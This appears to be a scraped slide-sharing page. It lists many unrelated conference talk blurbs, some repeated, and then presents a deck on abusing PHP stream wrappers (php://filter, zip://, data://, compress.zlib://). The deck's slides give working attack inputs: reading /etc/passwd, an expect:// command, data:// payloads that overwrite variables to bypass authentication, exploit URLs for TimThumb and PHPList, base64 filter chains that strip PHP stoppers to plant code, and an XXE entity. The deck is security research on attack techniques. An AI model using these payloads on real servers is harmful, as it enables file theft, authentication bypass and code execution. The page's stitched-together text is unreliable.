The document discusses various PHP wrappers that can be used to read and write data in non-standard ways and bypass security restrictions. It describes how wrappers like php://filter, zip://, and data:// can be used to read and write local files, modify file contents, bypass authentication, and perform XXE attacks. It also notes that filters in the php://filter wrapper can be used to selectively remove parts of file contents during I/O operations.
The Perforce Web Content Management System development team, lacking a pre-existing solution in PHP, designed and implemented their own object model and record layer to ease the interaction of the system with the Perforce Server. This session will focus on how users can access files in Perforce via a simple CRUD API, the subsystems exposed, and their usage.
Drupal 8 configuration management
Video of the presentation: http://2014.drupalcampmsk.ru/node/44 (Russian)
You can also check my article on this topic: http://amazeelabs.com/node/1093 (English)
Alexander Tkachev @ Amazee Labs
DrupalConf Moscow 2014
Raphaël Pinson's talk on "Configuration surgery with Augeas" at PuppetCamp Geneva '12. Video at http://youtu.be/H0MJaIv4bgk
Learn more: www.puppetlabs.com
The Perforce Web Content Management System development team, lacking a pre-existing solution in PHP, designed and implemented their own object model and record layer to ease the interaction of the system with the Perforce Server. This session will focus on how users can access files in Perforce via a simple CRUD API, the subsystems exposed, and their usage.
Drupal 8 configuration management
Video of the presentation: http://2014.drupalcampmsk.ru/node/44 (Russian)
You can also check my article on this topic: http://amazeelabs.com/node/1093 (English)
Alexander Tkachev @ Amazee Labs
DrupalConf Moscow 2014
Raphaël Pinson's talk on "Configuration surgery with Augeas" at PuppetCamp Geneva '12. Video at http://youtu.be/H0MJaIv4bgk
Learn more: www.puppetlabs.com
Tutorial dos conceitos básicos de Puppet, uma ferramenta de gestão automática de configuração de servidores.
Essa apresentação está incompleta, pois foi parte de um curso básico sobre Puppet.
Nginx is a free, open-source, high-performance HTTP server and reverse proxy, as well as an IMAP/POP3 proxy server. Igor Sysoev started working on developing Nginx in 2002 and released it to the public in 2004. Since then Nginx is hosting nearly 12.18% (22.2M) of active sites across all domains and is known for its high performance, stability, rich feature set, simple configuration, and low resource consumption. This report will give you a full overview of the Nginx and explain why this server is so popular.
vfsStream - a better approach for file system dependent testsFrank Kleine
Have you ever been annoyed by testing classes or functions operating on the file system? Be it tests that rely on presence of physical files, the problem of not cleaning up correctly after the test run or checking that your algorithm creates the correct directories and files with correct file permissions. Then this is for you: vfsStream to the rescue!
Building Lithium Apps (Like a Boss) was a workshop presented on the structure and philosophy of the Lithium framework and its applications, and how best to take advantage of them.
Go beyond the documentation and explore some of what's possible if you stretch symfony to its limits. We will look at a number of aspects of symfony 1.4 and Doctrine 1.2 and tease out some powerful functionality you may not have expected to find, but will doubtless be able to use. Topics covered will include routing, forms, the config cache and record listeners. If you're comfortable in symfony and wondering what's next, this session is for you.
An obscure but ubiquitous design pattern in PHP development is known as Funky Caching. Using real architectural examples as a lens to look at this one simple PHP design pattern, we see how we can design web architectures that are "organic, democratic, and lasting/"
Инструмент ChangelogBuilder для автоматической подготовки Release NotesPositive Hack Days
1. Основные понятия и определения: продукт, пакет, связи между ними.
2. Как узнать, какие изменения произошли в продукте?
3. Проблемы changelog и release note.
4. Решение: инструмент ChangelogBuilder для автоматической подготовки Release Notes
Как мы собираем проекты в выделенном окружении в Windows DockerPositive Hack Days
1. Обзор Windows Docker (кратко)
2. Как мы построили систему билда приложений в Docker (Visual Studio\Mongo\Posgresql\etc)
3. Примеры Dockerfile (выложенные на github)
4. Отличия процессов DockerWindows от DockerLinux (Долгий билд, баги, remote-регистр.)
Типовая сборка и деплой продуктов в Positive TechnologiesPositive Hack Days
1. Проблемы в построении CI процессов в компании
2. Структура типовой сборки
3. Пример реализации типовой сборки
4. Плюсы и минусы от использования типовой сборки
1. Что такое BI. Зачем он нужен.
2. Что такое Qlik View / Sense
3. Способ интеграции. Как это работает.
4. Метрики, KPI, планирование ресурсов команд, ретроспектива релиза продукта, тренды.
5. Подключение внешних источников данных (Excel, БД СКУД, переговорные комнаты).
Approof — статический анализатор кода для проверки веб-приложений на наличие уязвимых компонентов. В своей работе анализатор основывается на правилах, хранящих сигнатуры искомых компонентов. В докладе рассматривается базовая структура правила для Approof и процесс автоматизации его создания.
Задумывались ли вы когда-нибудь о том, как устроены современные механизмы защиты приложений? Какая теория стоит за реализацией WAF и SAST? Каковы пределы их возможностей? Насколько их можно подвинуть за счет более широкого взгляда на проблематику безопасности приложений?
На мастер-классе будут рассмотрены основные методы и алгоритмы двух основополагающих технологий защиты приложений — межсетевого экранирования уровня приложения и статического анализа кода. На примерах конкретных инструментов с открытым исходным кодом, разработанных специально для этого мастер-класса, будут рассмотрены проблемы, возникающие на пути у разработчиков средств защиты приложений, и возможные пути их решения, а также даны ответы на все упомянутые вопросы.
От экспериментального программирования к промышленному: путь длиной в 10 летPositive Hack Days
Разработка наукоемкого программного обеспечения отличается тем, что нет ни четкой постановки задачи, ни понимания, что получится в результате. Однако даже этом надо программировать то, что надо, и как надо. Докладчик расскажет о том, как ее команда успешно разработала и вывела в промышленную эксплуатацию несколько наукоемких продуктов, пройдя непростой путь от эксперимента, результатом которого был прототип, до промышленных версий, которые успешно продаются как на российском, так и на зарубежном рынках. Этот путь был насыщен сложностями и качественными управленческими решениями, которыми поделится докладчик
Уязвимое Android-приложение: N проверенных способов наступить на граблиPositive Hack Days
Немногие разработчики закладывают безопасность в архитектуру приложения на этапе проектирования. Часто для этого нет ни денег, ни времени. Еще меньше — понимания моделей нарушителя и моделей угроз. Защита приложения выходит на передний план, когда уязвимости начинают стоить денег. К этому времени приложение уже работает и внесение существенных изменений в код становится нелегкой задачей.
К счастью, разработчики тоже люди, и в коде разных приложений можно встретить однотипные недостатки. В докладе речь пойдет об опасных ошибках, которые чаще всего допускают разработчики Android-приложений. Затрагиваются особенности ОС Android, приводятся примеры реальных приложений и уязвимостей в них, описываются способы устранения.
Разработка любого софта так или иначе базируется на требованиях. Полный перечень составляют бизнес-цели приложения, различные ограничения и ожидания по качеству (их еще называют NFR). Требования к безопасности ПО относятся к последнему пункту. В ходе доклада будут рассматриваться появление этих требований, управление ими и выбор наиболее важных.
Отдельно будут освещены принципы построения архитектуры приложения, при наличии таких требований и без, и продемонстрировано, как современные (и хорошо известные) подходы к проектированию приложения помогают лучше строить архитектуру приложения для минимизации ландшафта угроз.
Доклад посвящен разработке корректного программного обеспечения с применением одного из видов статического анализа кода. Будут освещены вопросы применения подобных методов, их слабые стороны и ограничения, а также рассмотрены результаты, которые они могут дать. На конкретных примерах будет продемонстрировано, как выглядят разработка спецификаций для кода на языке Си и доказательство соответствия кода спецификациям.
Elevating Tactical DDD Patterns Through Object CalisthenicsDorra BARTAGUIZ
After immersing yourself in the blue book and its red counterpart, attending DDD-focused conferences, and applying tactical patterns, you're left with a crucial question: How do I ensure my design is effective? Tactical patterns within Domain-Driven Design (DDD) serve as guiding principles for creating clear and manageable domain models. However, achieving success with these patterns requires additional guidance. Interestingly, we've observed that a set of constraints initially designed for training purposes remarkably aligns with effective pattern implementation, offering a more ‘mechanical’ approach. Let's explore together how Object Calisthenics can elevate the design of your tactical DDD patterns, offering concrete help for those venturing into DDD for the first time!
The Art of the Pitch: WordPress Relationships and SalesLaura Byrne
Clients don’t know what they don’t know. What web solutions are right for them? How does WordPress come into the picture? How do you make sure you understand scope and timeline? What do you do if sometime changes?
All these questions and more will be explored as we talk about matching clients’ needs with what your agency offers without pulling teeth or pulling your hair out. Practical tips, and strategies for successful relationship building that leads to closing the deal.
Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...Jeffrey Haguewood
Sidekick Solutions uses Bonterra Impact Management (fka Social Solutions Apricot) and automation solutions to integrate data for business workflows.
We believe integration and automation are essential to user experience and the promise of efficient work through technology. Automation is the critical ingredient to realizing that full vision. We develop integration products and services for Bonterra Case Management software to support the deployment of automations for a variety of use cases.
This video focuses on the notifications, alerts, and approval requests using Slack for Bonterra Impact Management. The solutions covered in this webinar can also be deployed for Microsoft Teams.
Interested in deploying notification automations for Bonterra Impact Management? Contact us at sales@sidekicksolutionsllc.com to discuss next steps.
LF Energy Webinar: Electrical Grid Modelling and Simulation Through PowSyBl -...DanBrown980551
Do you want to learn how to model and simulate an electrical network from scratch in under an hour?
Then welcome to this PowSyBl workshop, hosted by Rte, the French Transmission System Operator (TSO)!
During the webinar, you will discover the PowSyBl ecosystem as well as handle and study an electrical network through an interactive Python notebook.
PowSyBl is an open source project hosted by LF Energy, which offers a comprehensive set of features for electrical grid modelling and simulation. Among other advanced features, PowSyBl provides:
- A fully editable and extendable library for grid component modelling;
- Visualization tools to display your network;
- Grid simulation tools, such as power flows, security analyses (with or without remedial actions) and sensitivity analyses;
The framework is mostly written in Java, with a Python binding so that Python developers can access PowSyBl functionalities as well.
What you will learn during the webinar:
- For beginners: discover PowSyBl's functionalities through a quick general presentation and the notebook, without needing any expert coding skills;
- For advanced developers: master the skills to efficiently apply PowSyBl functionalities to your real-world scenarios.
State of ICS and IoT Cyber Threat Landscape Report 2024 previewPrayukth K V
The IoT and OT threat landscape report has been prepared by the Threat Research Team at Sectrio using data from Sectrio, cyber threat intelligence farming facilities spread across over 85 cities around the world. In addition, Sectrio also runs AI-based advanced threat and payload engagement facilities that serve as sinks to attract and engage sophisticated threat actors, and newer malware including new variants and latent threats that are at an earlier stage of development.
The latest edition of the OT/ICS and IoT security Threat Landscape Report 2024 also covers:
State of global ICS asset and network exposure
Sectoral targets and attacks as well as the cost of ransom
Global APT activity, AI usage, actor and tactic profiles, and implications
Rise in volumes of AI-powered cyberattacks
Major cyber events in 2024
Malware and malicious payload trends
Cyberattack types and targets
Vulnerability exploit attempts on CVEs
Attacks on counties – USA
Expansion of bot farms – how, where, and why
In-depth analysis of the cyber threat landscape across North America, South America, Europe, APAC, and the Middle East
Why are attacks on smart factories rising?
Cyber risk predictions
Axis of attacks – Europe
Systemic attacks in the Middle East
Download the full report from here:
https://sectrio.com/resources/ot-threat-landscape-reports/sectrio-releases-ot-ics-and-iot-security-threat-landscape-report-2024/
Key Trends Shaping the Future of Infrastructure.pdfCheryl Hung
Keynote at DIGIT West Expo, Glasgow on 29 May 2024.
Cheryl Hung, ochery.com
Sr Director, Infrastructure Ecosystem, Arm.
The key trends across hardware, cloud and open-source; exploring how these areas are likely to mature and develop over the short and long-term, and then considering how organisations can position themselves to adapt and thrive.
Encryption in Microsoft 365 - ExpertsLive Netherlands 2024Albert Hoitingh
In this session I delve into the encryption technology used in Microsoft 365 and Microsoft Purview. Including the concepts of Customer Key and Double Key Encryption.
Connector Corner: Automate dynamic content and events by pushing a buttonDianaGray10
Here is something new! In our next Connector Corner webinar, we will demonstrate how you can use a single workflow to:
Create a campaign using Mailchimp with merge tags/fields
Send an interactive Slack channel message (using buttons)
Have the message received by managers and peers along with a test email for review
But there’s more:
In a second workflow supporting the same use case, you’ll see:
Your campaign sent to target colleagues for approval
If the “Approve” button is clicked, a Jira/Zendesk ticket is created for the marketing design team
But—if the “Reject” button is pushed, colleagues will be alerted via Slack message
Join us to learn more about this new, human-in-the-loop capability, brought to you by Integration Service connectors.
And...
Speakers:
Akshay Agnihotri, Product Manager
Charlie Greenberg, Host
Dev Dives: Train smarter, not harder – active learning and UiPath LLMs for do...UiPathCommunity
💥 Speed, accuracy, and scaling – discover the superpowers of GenAI in action with UiPath Document Understanding and Communications Mining™:
See how to accelerate model training and optimize model performance with active learning
Learn about the latest enhancements to out-of-the-box document processing – with little to no training required
Get an exclusive demo of the new family of UiPath LLMs – GenAI models specialized for processing different types of documents and messages
This is a hands-on session specifically designed for automation developers and AI enthusiasts seeking to enhance their knowledge in leveraging the latest intelligent document processing capabilities offered by UiPath.
Speakers:
👨🏫 Andras Palfi, Senior Product Manager, UiPath
👩🏫 Lenka Dulovicova, Product Program Manager, UiPath
GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...James Anderson
Effective Application Security in Software Delivery lifecycle using Deployment Firewall and DBOM
The modern software delivery process (or the CI/CD process) includes many tools, distributed teams, open-source code, and cloud platforms. Constant focus on speed to release software to market, along with the traditional slow and manual security checks has caused gaps in continuous security as an important piece in the software supply chain. Today organizations feel more susceptible to external and internal cyber threats due to the vast attack surface in their applications supply chain and the lack of end-to-end governance and risk management.
The software team must secure its software delivery process to avoid vulnerability and security breaches. This needs to be achieved with existing tool chains and without extensive rework of the delivery processes. This talk will present strategies and techniques for providing visibility into the true risk of the existing vulnerabilities, preventing the introduction of security issues in the software, resolving vulnerabilities in production environments quickly, and capturing the deployment bill of materials (DBOM).
Speakers:
Bob Boule
Robert Boule is a technology enthusiast with PASSION for technology and making things work along with a knack for helping others understand how things work. He comes with around 20 years of solution engineering experience in application security, software continuous delivery, and SaaS platforms. He is known for his dynamic presentations in CI/CD and application security integrated in software delivery lifecycle.
Gopinath Rebala
Gopinath Rebala is the CTO of OpsMx, where he has overall responsibility for the machine learning and data processing architectures for Secure Software Delivery. Gopi also has a strong connection with our customers, leading design and architecture for strategic implementations. Gopi is a frequent speaker and well-known leader in continuous delivery and integrating security into software delivery.
UiPath Test Automation using UiPath Test Suite series, part 4DianaGray10
Welcome to UiPath Test Automation using UiPath Test Suite series part 4. In this session, we will cover Test Manager overview along with SAP heatmap.
The UiPath Test Manager overview with SAP heatmap webinar offers a concise yet comprehensive exploration of the role of a Test Manager within SAP environments, coupled with the utilization of heatmaps for effective testing strategies.
Participants will gain insights into the responsibilities, challenges, and best practices associated with test management in SAP projects. Additionally, the webinar delves into the significance of heatmaps as a visual aid for identifying testing priorities, areas of risk, and resource allocation within SAP landscapes. Through this session, attendees can expect to enhance their understanding of test management principles while learning practical approaches to optimize testing processes in SAP environments using heatmap visualization techniques
What will you get from this session?
1. Insights into SAP testing best practices
2. Heatmap utilization for testing
3. Optimization of testing processes
4. Demo
Topics covered:
Execution from the test manager
Orchestrator execution result
Defect reporting
SAP heatmap example with demo
Speaker:
Deepak Rai, Automation Practice Lead, Boundaryless Group and UiPath MVP
DevOps and Testing slides at DASA ConnectKari Kakkonen
My and Rik Marselis slides at 30.5.2024 DASA Connect conference. We discuss about what is testing, then what is agile testing and finally what is Testing in DevOps. Finally we had lovely workshop with the participants trying to find out different ways to think about quality and testing in different parts of the DevOps infinity loop.
3. Data reading
Wrappers
$handle = fopen($file, "rb");
while (!feof($handle))
{
$contents .= fread($handle, 8192);
}
fclose($handle);
You can get data not only from local files!
$file = 'ftp://user:password@10.0.0.1/pub/file.txt';
$file = „http://127.0.0.1/server-status‟;
$file = „php://fd/XXX‟;
$file = „expect://ls‟;
4. Data writing
Read the file
copy ('/etc/passwd' , 'php://output');
file_put_contents(„php://output', file_get_contents('/etc/hosts'));
Modify the file, and then write it to the disk
move_uploaded_file($_FILES[“attach”]["tmp_name"],
“php://filter/string.rot13/resource=./upload/user_attach”);
Write data into Apache error_log (PHP >= 5.3.6)
error_log („Bypass root perm!‟, 3, „php://fd/2‟);
5. Wrapper zip://
Requirements: PHP is compiled with zip support.
You can use zip:// wrapper in case allow_url_fopen = Off.
zip:// wrapper allows you to access file inside the archive with an arbitrary
name.
$zip = new ZipArchive;
if ($zip->open('/tmp/any_name_zip_arxiv',1) )
{
$zip->addFromString( '/my/header.html', '<?php print_r(ini_get_all());„ );
}
$zip->close();
print file_get_contents('zip:///tmp/any_name_zip_arxiv#/my/header.html');
6. NULL Byte Replacement
$s = $_POST[„path‟];
include $s.‟/header.html‟;
allow_url_include directive restricts the usage of http:// ftp:// data:// wrappers.
magic_quotes_gpc directive restricts the usage of NULL byte in local files
including.
If you can create a zip archive, you can use zip:// wrapper:
path=zip:///tmp/any_name_zip_arxiv#/my
This is effective if allow_url_fopen=Off and magic_quotes_gpc=On
An arbitrary archive name allows you to use temporary files created while content
loading.
Use hpinfo() to get temporary file path:
https://rdot.org/forum/showthread.php?t=1134
7. Wrapper data:// (RFC 2397)
According to RFC 2379, data:// wrapper supports more extended syntax:
dataurl := "data:" [ mediatype ] [ ";base64" ] "," data
mediatype := [ type "/" subtype ] *( ";" parameter )
data := *urlchar
parameter := attribute "=" value
Wrapper feature: mediatype can be absent or can be filled in by arbitrary values:
data://anytype/anysubtype;myattr!=V@l!;youattr?=Op$;base64
8. Trick: function stream_get_meta_data
Modify array items returned by stream_get_meta_data
$password = 'secret';
$file = $_POST['file'];
$fp = fopen( $file, 'r');
extract(stream_get_meta_data($fp));
if ( $mediatype === 'text/plain') { ... }
if ( $_COOKIE['admin'] === $password) { ... }
Rewrite $password variable
POST DATA: file=data://text/plain;password=mysecret;base64,
Bypass authorization: Cookie: admin=mysecret
9. Wrapper compress.zlib://
compress.zlib:// wrapper does not modify ordinary file
content
readfile('compress.zlib:///etc/hosts');
Local file path can include arbitrary folders name
$url = 'compress.zlib:///http://../etc/hosts';
if (preg_match('/http:///', $url) == true)
{
echo "Yes!";
}
10. Any Data in parse_url
parse_url function handles not only URLs
$url_info = parse_url($_POST[„src‟]);
if ($url_info['host'] === 'img.youtube.com')
{
$name = str_replace('/', '', substr($url_info['path'], 4));
copy( $src, './'.$name );
}
Loading images from img.youtube.com:
POST DATA: src=http://img.youtube.com/vi/Uvwfxki7ex4/0.jpg
Bypass host name checks and create arbitrary files:
POST DATA: src=data://img.youtube.com/aaamy.php?;base64,SSBsb3ZlIFBIUAo
Local File Manipulation:
POST DATA: src=compress.zlib://img.youtube.com/../path/to/local/file;
11. Bypass preg_match validate
Filter bypass based on preg_match
POST DATA: src=data://text/plain;charset=http://w?param=anyval;base64,SSBsb3ZlIFBIUAo
POST DATA: src=compress.zlib://youtube.com/../http://?/../../path/to/local/file
function validate_url ($url)
{
$pattern =
"/b(?:(?:https?)://|www.)[-a-z0-9+&@#/%?=~_|!:,.;]*[-a-z0-9+&@#/%=~_|]/i";
return preg_match ($pattern, $url);
}
$src = $_POST['src'];
if (!validate_url ($src)) display_error ('invalid url');
12. Arbitrary File Loading in TimThumb
TimThumb is a popular script used for image resize.
Public Exploit for v 1.32 (08/2011): http://www.exploit-db.com/exploits/17602
New Wrappers Exploit for v1.34 (revision 145)
function check_external ($src) {
…………………
if (!validate_url ($src)) display_error ('invalid url');
$url_info = parse_url ($src);
...................
if ($url_info['host'] == 'www.youtube.com' || …) parse_str($url_info['query']);
..................
$fh = fopen($local_filepath, „w‟);
$ch = curl_init($src);
…………………..
$files_infos = getimagesize ($local_filepath);
if (empty($file_infos[„mime‟]) || …..) unlink($local_filepath);
………………………………
http://www.youtube.com/?local_filepath=php://filter/resource%3D./path/to/.php
&url_info[host]=img.youtube.com&src=http://mysite.com/thumb.txt
13. File Manipulation in TimThumb v1.35
Requirements: curl_init function is diabled on the target server.
…………………
if (!$img = file_get_contents ($src)) {
display_error ('error....');
}
if (file_put_contents ($local_filepath, $img) == FALSE)
неопределенного фильтра does not influence the results of other filters
{
display_error ('error.....');
}
…………………
Create a file with arbitrary content:
data://img.youtube.com/e;charset=http://w?&var=;base64,SSBsb3ZIIFBIUAo
«Read» local file:
compress.zlib://youtube.com/../http://?/../../path/to/local/file
14. Secret features of php://filter wrapper
php://filter allows users to filter streams while opening.
Filter the file content:
readfile('php://filter/read=string.toupper|anyfilter|string.rot13/resource=./file.php');
Unknown filter does not influence the results of other filters.
convert.base64-decode and string.strip_tags filters can delete data from the
stream.
Stephan Esser used convert.base64-decode filter features in an exploit for Piwik in 2009:
http://sektioneins.de/en/advisories/advisory-032009-piwik-cookie-unserialize-vulnerability
Since 2009, two important questions are not solved:
How to delete «unused» data?
What are the advantages of filters?
16. Base64 algorithm: decoding
While decoding, only characters of base64 alphabet are handled.
The input string is divided into parts by 4 characters, every part is handled
separately.
17. Example. “Instrusion” of stopper
You can delete some data using base64_decode several times.
$content = "; <? die; ?>n";
$content .= "[/Ly8vVTFOQ1RXSXpXbXhKUmtKSlZVRTlQUT09]n";
$file = 'php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode
/resource=./PoC';
file_put_contents($file, $content);
“Stub”: /Ly8v ( base64_decode('Ly8v') == '///‟ )
convert.base64-decode filter does not handle strings with equal sign in the middle.
$s = 'php://filter/read=convert.base64-decode/resource=data:,dGVzdA==CRAP';
var_dump(file_get_contents($s)); // print: string(0) ""
18. Filter string.strip_tags
Filter string.strip_tags speeds up the “extrusion” process
$content = "; <? die; ?>n";
$content .= "=3C=3Fprint('PHP');n";
$file = 'php://filter/write=string.strip_tags|convert.quoted-printable-decode/resource=./PoC';
$quoted_printable_lt = '='.strtoupper(dechex(ord('<'))); // =3C
file_put_contents($file, $content);
convert.quoted-printable-decode filter handles strings symbol by symbol.
Characters in Quoted-Printable ( RFC2045, 6.7 chapter) format are modified into characters of 8
bit code page.
Modification into Quoted-Printable format.
$quoted_printable_lt = '='.strtoupper(dechex(ord('<')));
convert.quoted-printable-decode filter is not effective if the string does not include an equal
sign followed by hexadecimal character code.
$s = 'php://filter/read=convert.quoted-printable-decode/resource=data:,dGVz=CRAP';
var_dump(file_get_contents($s)); // print: string(0) ""
19. TextPattern: Upload Arbitrary Files (I)
File with .php extension stores information about comments‟ authors.
$file = $prefs['tempdir'].DS.'evaluator_trace.php';
if (!file_exists($file)) {
$fp = fopen($file, 'wb');
if ($fp)
fwrite($fp, "<?php return; ?>n".
"This trace-file tracks saved comments. (created ".
Пп
safe_strftime($prefs['archive_dateformat'],time()).")n".
"Format is: Type; Probability; Message “ .
“(Type can be -1 => spam, 0 => moderate, 1 => visible)nn");
21. Partial File Reading in PHPList <= 2.10.13 (I)
The reason is a possibility to modify the structure of $_FILES array
http://isisblogs.poly.edu/2011/08/11/php-not-properly-checking-params/
if (is_array($_FILES)) { ## only avatars are files
foreach ($_FILES['attribute']['name'] as $key => $val) {
if (!empty($_FILES['attribute']['name'][$key])) {
$tmpnam = $_FILES['attribute']['tmp_name'][$key];
$size = $_FILES['attribute']['size'][$key];
if ($size < MAX_AVATAR_SIZE) {
$avatar = file_get_contents($tmpnam);
Sql_Query(sprintf('replace into %s (userid,attributeid,value)
values(%d,%d,"%s")',$tables["user_attribute"],$id,$key,base64_encode($avatar)));
The follow HTML form allows an attacker to upload files into a database.
<form action="http://localhost/lists/admin/?page=user&id=1" method="POST”
enctype="multipart/form-data" >
<input type="file" name="attribute[tmp_name][">
<input type="file" name="attribute[size][">
<input type="file" name="attribute[[tmp_name]">
<input type="file" name="attribute[name][">
<input name="change" value="Save Changes" type="submit">
</form>
23. getimagesize check bypass (I)
With filters, you manage not only to delete stoppers but also modify images checked on the
basis of getimagesize function.
If you manage to inject data into EXIF image
24. getimagesize check bypass (II)
extract($_REQUEST);
…..
include $templatedir.'/header.html';
.....
if (!empty($_FILES) ) {
$file_info = getimagesize($_FILES['image']['tmp_name']);
if($file_info['mime'] == 'image/jpeg')
{
if ( move_uploaded_file( $_FILES['image']['tmp_name'], $folder.'/avatar.jpg') )
......
Load an image, but a zip archive with /my/header.html file is stored on
the server.
folder=php://filter/write=string.strip_tags|convert.base64-decode/resource=/tmp/
Add the file into the zip archive
templatedir=zip:///tmp/avatar.jpg#/my
25. Files with arbitrary content
If you manage to create a file with arbitrary content, you can:
create a session file and exploit the unserialize bug via session_start();
create a zip archive and exploit RFI;
create/rewrite files htaccess/htpasswd;
create or rewrite templates.
26. parse_ini_file atack
parse_ini_file function handles local files only.
session_start();
$_SESSION['admin'] = $_POST['name'];
.......
$var = parse_ini_file($inifile);
require $var['require'];
Create session file /tmp/sess_dffdsdf24gssdgsd90
admin|s:68:"Ly8vVnpOYWFHTnNNRXRqYlZaNFpGZHNlVnBVTUdsTU1sWXdXWGs1YjJJelRqQmplVWs5"
With filters, transform the session file into format suitable for parse_ini_file
function.
php://filter/read=convert.base64-decode|convert.base64-decode|
convert.base64-decode/resource= /tmp/sess_dffdsdf24gssdgsd90
27. XXE Attack
Read files via XML Injection.
<?xml version='1.0'?>
<!DOCTYPE scan
[
<!ENTITY test SYSTEM "php://filter/read=convert.base64-
encode/resource=http://127.0.0.1/server-status">
]>
<scan>&test;</scan>
simplexml_load_file function and DOMDocument::load method supports wrappers.
28. Limitations for the usage of wrappers
By default, you are not allowed to use wrappers in includes with installed
Suhosin (even if allow_url_include = On).
For example, zip:// wrapper is available as soon as whitelist includes it:
suhosin.executor.include.whitelist = “zip”
file_exists, is_file, filesize functions return FALSE in case wrappers php://filter,
zip://, data:// are used as file names.